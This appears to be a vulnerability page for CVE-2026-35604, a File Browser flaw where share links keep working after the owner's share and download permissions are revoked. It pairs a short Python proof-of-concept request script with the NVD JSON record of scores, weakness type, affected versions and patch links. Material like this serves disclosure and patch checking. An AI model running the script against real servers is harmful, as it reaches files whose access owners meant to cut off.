CVE-2026-35604

import requests # PoC for CVE-2026-35604: File Browser Permission Bypass # This script demonstrates that existing share links remain accessible # even after the share owner's permissions have been revoked. target_url = "http://example-file-browser.com/public/shares/vulnerable_share_id" def exploit_cve_2026_35604(url): print(f"[*] Attempting to access share link: {url}") try: # Send a GET request to the public share link response = requests.get(url, timeout=10) # Check if the file is accessible (HTTP 200) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] File is still accessible despite permission revocation.") print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}") elif response.status_code == 403 or response.status_code == 404: print("[-] Access denied or link not found. System may be patched.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": exploit_cve_2026_35604(target_url)

{"cve": {"id": "CVE-2026-35604", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:34.443", "lastModified": "2026-04-16T18:30:57.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.63.1", "matchCriteriaId": "7C8685A1-8448-480F-B3F5-005ECAC1E24C"}]}]}], "references": [{"url": "https://github.com/filebrowser/filebrowser/pull/5888", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}